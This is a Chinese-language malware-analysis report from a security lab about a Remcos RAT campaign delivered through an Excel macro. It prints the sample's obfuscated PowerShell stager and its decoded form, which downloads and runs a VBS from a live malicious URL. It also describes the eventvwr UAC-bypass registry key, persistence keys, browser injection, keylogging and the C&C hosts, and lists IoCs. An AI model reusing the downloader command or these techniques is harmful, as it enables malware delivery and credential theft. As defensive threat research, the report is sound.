最新版 Remcos 远控正在利用 Office 文件传播 – 作者:兰云科技银河实验室-安全小百科

一、概述

近日，兰云科技银河实验室通过 “兰眼下一代威胁感知系统” 发现了一封邮件中内嵌的 Office 文档通过宏命令来传播最新版的 Remcos 远控木马 (截止本文写作时)，邮件附件检测结果如下所示：

Remcos 远控最早可追溯到 2016 年，直到今天，仍比较活跃 (作者一直在不断地更新)，现已经更新到了 3.0.0 版 (2021-01-30)，此版本为大更新，因为弃用了之前一直在使用的 RC-4 算法 (3.0.0 版本之前)，改用了 AES-128。此次传播的 Remcos 远控木马版本号为 2.7.2 (3.0.0 上一个版本，2020-10-22)，并且为 Pro 版 (收费版)，免费版本目前最高版本为 2.7.0 版，Pro 版目前官方售价如下所示：

根所授权方式的不同，价格也不一样，58 欧元至 389 欧元不等。第三方 (Commodity Malware) 售价如下所示：

以往的 Remcos 大都是通过触发 Office 漏洞来投递，但是此次并没沿用老套路，而仅仅是利用宏执行 PowerShell 命令后多阶段进行，最终执行 Remcos RAT，整个过程如下所示：

二、Office 样本分析

2.1 基本信息

样本基本信息：

从上图可看出，此样本是一个仅为 35KB 大小的 XLS 文件，除此之外，还能获取到编辑此文档的作者信息，名为 Eng Moha。

2.2 宏代码分析

按住 shift 键双击打开文档，打开后如下所示：

从表面上去看会发现 A 列没显示，尝试往左拉动右下角横条，当拉至最左端松开鼠标时会自动回弹到原来位置，换另一种方式，拉动上方的表格的分栏线往右拖动，Em~~，露出了它的真面目了，如下所示：

看到了什么，原来是一段 PowerShell 命令，嵌在了 A5 单元格内，如下所示：

X`E`I|'' nioj- mj$;}))61,_$(61tniot::]trevnoc[(]rahc[{ hcaErof | )'%'(tilpS.ut$=mj$;txet$ nioj-=ut$;)txet$(esreveR::]yarrA[;)(yarrArahCoT.7hg74hg$ = txet$;'27%28%4E%65%27%2B%27%77%2D%27%2B%27%4F%62%27%2B%27%6A%65%27%2B%27%63%74%20%27%2B%20%27%4E%65%27%2B%27%74%2E%27%2B%27%57%27%2B%27%65%62%27%2B%27%43%27%2B%27%6C%69%27%2B%27%65%6E%74%29%27%2B%27%2E%44%27%2B%27%6F%77%27%2B%27%6E%6C%27%2B%27%6F%61%27%2B%27%64%27%2B%27%46%27%2B%27%69%6C%27%2B%27%65%28%27%27%68%74%74%70%3A%2F%2F%61%76%65%6E%74%75%72%61%6D%6F%74%6F%72%68%6F%6D%65%2E%63%6F%6D%2F%77%70%72%6C%2F%68%6F%6D%65%2F%50%72%6F%74%65%63%74%65%64%2E%76%62%73%27%27%2C%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%27%27%5C%6E%6F%74%65%70%61%64%2E%76%62%73%27%27%29%27%7C%49%60%45%60%58%3B%20%73%74%61%72%74%2D%70%72%6F%63%65%73%73%28%24%65%6E%76%3A%41%50%50%44%41%54%41%2B%20%27%5C%6E%6F%74%65%70%61%64%2E%76%62%73%27%29'=7hg74hg$ llehsrewoP

这段 PowerShell 命令看起来有点怪，仔细去看会发现是被反转了而且还混淆了，这个暂且先放在一边。下面我们来看下它所包含的宏，如下所示：

以上为兰眼下一代威胁感知系统对其抽取出来的宏代码，宏代码混淆了，虽然代码量少但它最终要做的事却大：

当激活工作簿时会触发 Workbook_Activate() 执行，主要执行两个函数，分别为 sVyI() 和 fjdfk()，前者将后者返回的值作为参数传递进行运算，fjdfk() 函数主要是将嵌入在 A5 单元格中的混淆 PowerShell 命令反转再处理，为了方便显示 fjdfk 变量最后的值，在动态调试中加入 Debug.Print，这样就能在立即窗口中显示出来了，如下所示：

处理过后的 PowerShell 命令如下：

Powershell $gh47gh7='92%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%02%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%82%37%37%56%36%F6%27%07%D2%47%27%16%47%37%02%B3%85%06%54%06%94%C7%72%92%72%72%37%26%67%E2%46%16%07%56%47%F6%E6%C5%72%72%B2%14%45%14%44%05%05%14%A3%67%E6%56%42%C2%72%72%37%26%67%E2%46%56%47%36%56%47%F6%27%05%F2%56%D6%F6%86%F2%C6%27%07%77%F2%D6%F6%36%E2%56%D6%F6%86%27%F6%47%F6%D6%16%27%57%47%E6%56%67%16%F2%F2%A3%07%47%47%86%72%72%82%56%72%B2%72%C6%96%72%B2%72%64%72%B2%72%46%72%B2%72%16%F6%72%B2%72%C6%E6%72%B2%72%77%F6%72%B2%72%44%E2%72%B2%72%92%47%E6%56%72%B2%72%96%C6%72%B2%72%34%72%B2%72%26%56%72%B2%72%75%72%B2%72%E2%47%72%B2%72%56%E4%72%02%B2%72%02%47%36%72%B2%72%56%A6%72%B2%72%26%F4%72%B2%72%D2%77%72%B2%72%56%E4%82%72';$text = $gh47gh7.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X

最后创建 WScript.Shell 对象 (F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 为 WScript.Shell 的 CLSID) 并调用 Run 方法运行 PowerShell 命令，如下：

GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run 上述PowerShell命令, 0

为了想知道第一阶段的 PowerShell 命令具体做了哪些事，我们必须对其进行动态调试，如下所示：

代码稍做了些调整，为了方便调试看结果，从上图可以看出 $test 变量的值，并出现了一个网址，解出来的命令如下：

'(Ne'+'w-'+'Ob'+'je'+'ct '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'F'+'il'+'e(''http://aventuramotorhome.com/wprl/home/Protected.vbs'',$env:APPDATA+''\notepad.vbs'')'|I`E`X; start-process($env:APPDATA+ '\notepad.vbs')

去混淆后如下：

(New-Object Net.WebClient).DownloadFile(''http://aventuramotorhome.com/wprl/home/Protected.vbs'',$env:APPDATA+''\notepad.vbs'')|IEX; start-process($env:APPDATA+ '\notepad.vbs')

此段命令会从 http[:]//aventuramotorhome.com/wprl/home/Protected.vbs 下载文件，如下所示：

下载后会存放在 C:\User\用户名\AppData\Roaming 下并重命名为 notepad.vbs，最后将其启动：

notepad.vbs 内容如下：

三、邪恶的 notepad.vbs

notepad.vbs 也被混淆了，同样也需要清楚这个 vbs 脚本具体做了些什么，因此还得动态调试它，如下所示：

为 wscript 添加 /x 参数来启动调试，调试命令如下：

wscript /x notepad.vbs

启动后自动中断到第一行处，如下所示：

在这个 VBS 脚本文件中，其中最重要的是 pexGRQLd() 和 URTSYOemNS() 这两个函数，如下所示：

pexGRQLd() 函数主要是为设置一个自启动项，在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 创建一个名为 ubYietxJ 项，其值为 C:\Users\zeronohacker\AppData\Local\notepad.vbs，如下所示：

四、Waves.dll 分析

4.1 基本信息

将上一小节保存下来的 PE 文件用 DIE 查下基本信息，如下所示：

由上图可知，此 PE 文件是用 VB .NET 编写的 32 位 DLL 文件，加了 Confuser 1.X 的壳子。

4.2 提取压缩数据并解压

由于此 DLL 代码写的较简单，大概浏览了一遍，主要功能是将压缩文档数据进行解压，释放到内存中执行 (可绕过检测)。先反汇编简单看下内容，如下所示：

通过反汇编信息来看，此 DLL 名为 Waves.dll，结合上一小节最后提到的，会将 notepad.exe 和 $nsDR2 作为 Y78HJ0R55 的参数来执行，notepad.exe 是正常程序，从内容上看，会将 $nsDR2 变量的值作为 Gzip 包进行解压，如下所示：

在上一小节中通过动态调试可得出 $nsDR2 的值，如下所示：

以同样的方式在 010Editor 新建一个十六进制文本文件将其以十六进制方式粘贴进去，最后保存，再将其拖到 DIE 中检测，结果如下所示：

Em~~，果然如此，此为一个 Gzip 压缩文档，当在本地用 7zip 解压后，火绒右下角弹出危险提示并将其拦截删除，提示此文件为后门病毒文件 (Backdoor/Remcos.g)，我直呼好家伙，如下所示：

五、Remcos 远控详细技术细节

5.1 基本信息

关闭火绒重新解压，得到病毒主体，如下所示：

病毒主体是用 Visual C++6.0 编译，编译时间为2020-10-25 03:23:17，一个 32 位的 GUI 可执行文件。

5.2 解密资源表

病毒运行后会先去对资源表中 SETTINGS 项进行 RC-4 解密，获取 SETTINGS 资源项大小 (0x280)，如下所示：

获取大小后动态分配内存，取资源 SETTINGS 项中第 1 个字节 (0x65，RC-4 Key 的长度)，将其后的 0x65 大小的数据拷贝到新分配的内存中，如下所示：

此区段字节内容为 RC-4 Key。接下来再次动态分配内存，将剩余的 0x280 – 0x65 – 0x1 = 0x21A 个字节拷贝过去，如下所示：

这部分内容为待解密内容。接下来便进行 CRC-4 初始化，如下所示：

将 0x21A 字节内容通过 sub_403010 进行解密，如下所示：

以上两组函数在后面会多次运用到，从上面解密出来的内容看有以下几个关键字符，字符间是用 |…| 分隔，如下：

servr.killwhenabuse1.xyz:1332

rem dns

remcos.exe

Remcos-GLWJ8X

wiki-pedia;solitaire;

Screenshots (截屏相关)

MicRecords (音频记录相关)

45A3E2943B98E10F443D79C5C1F0E2E5 (licence)

10000

到这基本上就可以确定是 Remcos 远控了，版本为 2.7.2 Pro 版，如下所示：

截止到编写本文时间，Remcos 官网提供的最新免费版本为 2.7.0，收费版本最新为 3.0.0 版 (2021 年 01 月 30 日发布)，此 2.7.2 Pro 版为 2020 年 10 月 22 日发布的，这与编译时间很接近。

5.3 -l 开关为何意

解密完 SETTINGS 资源项内容后，接下来便是判断命令行中是否带有 -l 参数，如果存在 -l 参数，便会生成 licence_code.txt 这个文件，如下所示：

手动加上 -l 参数看下这个文本文件中生成了什么内容，如下所示：

Em~~，这一串值貌似和从 SETTINGS 解密出来的其中一项相同，基于硬件某项参数生成的？HWID？NO，当在另一台设备以相同操作运行后，得到的值并没有改变，也许是在控件端生成它时为它分配的一个标识，以便知道是谁创建了它，方便管理，因为专业版可以多个人使用。

5.4 创建互斥体

创建一个名为 Remcos_Mutex_Inj 的互斥体来标记是不是在系统已存在，如下所示：

5.5 收集系统信息

在完成上述操作后便是加载相应 API 函数，以便用来收集系统信息，如下所示：

5.6 绕过 UAC 进行提权

在很早的时候，国外安全研究人员发现了一种能利用 eventvwr 注册表键值的方法来绕过 UAC 的方法，在新版本的 Remcos 中使用到了，此方法是基于 Enigma0x3 的 exploit，它能在 windos 7 (7600) 触发，但是 windows 10 RS2 (15031) 版已修复了该问题，在下图也注意到了 xp 字符，如果 Remcos 在打过相应补丁的 Windows 上运行，它将正常启动，但在 Windows xp 上没有管理员权限，由于 xp 没有 UAC 机制，因此不会触发该利用程序，如下所示：

当 eventvwr.exe 启动时，它会检查是否存在一个指定的 bin 文件用来支持 MMC 的snap-in，至于检查是否存在这个文件的方式便是在HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command查找键值，如果该键值存在那么该项内容将能用来绕过 UAC，如果不存在那么系统将会加载默认程序。

5.7 注册表操作

将自身可执行路径经过 RC-4 加密写入到 HKEY_CURRENT_USER\Software\Remcos-GLWJ8X 中，键名为 exepath，同时将之前从资源 SETTINGS 项中解密出来的可能为本体的标识符也写入到了该注册表路径下，键名为 licence，如下所示：

5.8 键盘记录操作

创建三个线程，用来将键盘的操作记录到 logs.dat 中，如下所示：

将日志文件保存在 Roaming 目录下，执行后结果如下所示：

5.9 屏幕操作

创建一个线程，线程回调函数中使用 GDI 类 API 来获得屏幕快照，如下所示：

5.10 浏览器操作

sub_407A0A 中创建一个线程，该线程主要作用为清除浏览器登录和 Cookie 信息，如下所示：

浏览器包括 IE 浏览器、谷歌浏览器，火狐浏览器，如下所示：

除上述对浏览器清理登录和 Cookie 外，还会将自身注入到默认浏览器中，通过读取 HKEY_CLASSES_ROOT\http\shell\open\command 键值来获取默认浏览器，相关代码如下所示：

sub_40F3E2 这个函数就为注入实现函数，方式为利用线程执行劫持，如下所示：

以上这段代码和 https://github.com/jozemberi/PE-Crypter/blob/master/runPE.hRemcos 代码极为相似，目的是为了自身在内存中加解密执行。在查看免费版的生成器后，其实不单只针对默认浏览器，还可以指定进程，所以在执行上述注入代码前会有以下操作，如下所示：

5.11 看门狗功能

看门狗功能可以保护 Remcos 进程，可让关于它的文件和注册表项免受破坏 (即保持注册表持久性)。如果程序意外终止，可恢复 Remcos 功能。这样，远程管理员就可以确保永远不会失去对远程设备的控制权，而如果出现问题，则不必在远程控制的计算机上手动重新启动 Remcos，如下所示：

5.12 其它功能

Remcos 还有其它功能，比如文件上传下载，如下所示：

还有接收远程命令执行等，功能太多，不一一列举，具体可以去查看 Remcos 免费版界面上选项，虽然有些选项处于灰色状态。

5.13 上传到 C&C

连接 C&C，将文件上传，如下所示：

产生的日志如下所示：

将 logs.dat 上传到 194[.]5[.]97[.]135 上，端口 1332，这似乎与从 SETTINGS 资源项解密出来的第一个字符有点关系，域名 servr[.]killwhenabuse1.xyz:1332 在 VT 上信息如下所示：

六、结论

从 2016 年 7 月份发布第一个版本到至今 (快 5 个年头了) 共发布了 72 个版本，虽然 Remcos 作者声称应用程序仅供合法使用，但从此次样本分析过程来看，仍有不法分子在利用它，Remcos 是一个强大的工具，正在积极开发，增加许多功能。为了与其对抗，各单位组织机构应该意识到这种威胁，尤其是那些不明来历的邮件 (带有附件)，更是要慎重，同时，建议提前部署具备高级威胁检测能力的安全产品进行及时监控、防范，降低安全隐患。

七、IoCs

MD5：

0ad06d008becd7e0d1e17820749f9c5d (Payment remittance.xls)

9c242a912c91ca9eccff78d39fb147ab (notepad.vbs)

0868d7221a338270097a2a58cc0348bc (Attack.jpg)

2acfd20201382b2765637f5334bc3281 (Gzip_dump)

5635f45bd2f42b704b252de85fdb919e (Gzip_dump.exe)

C&C：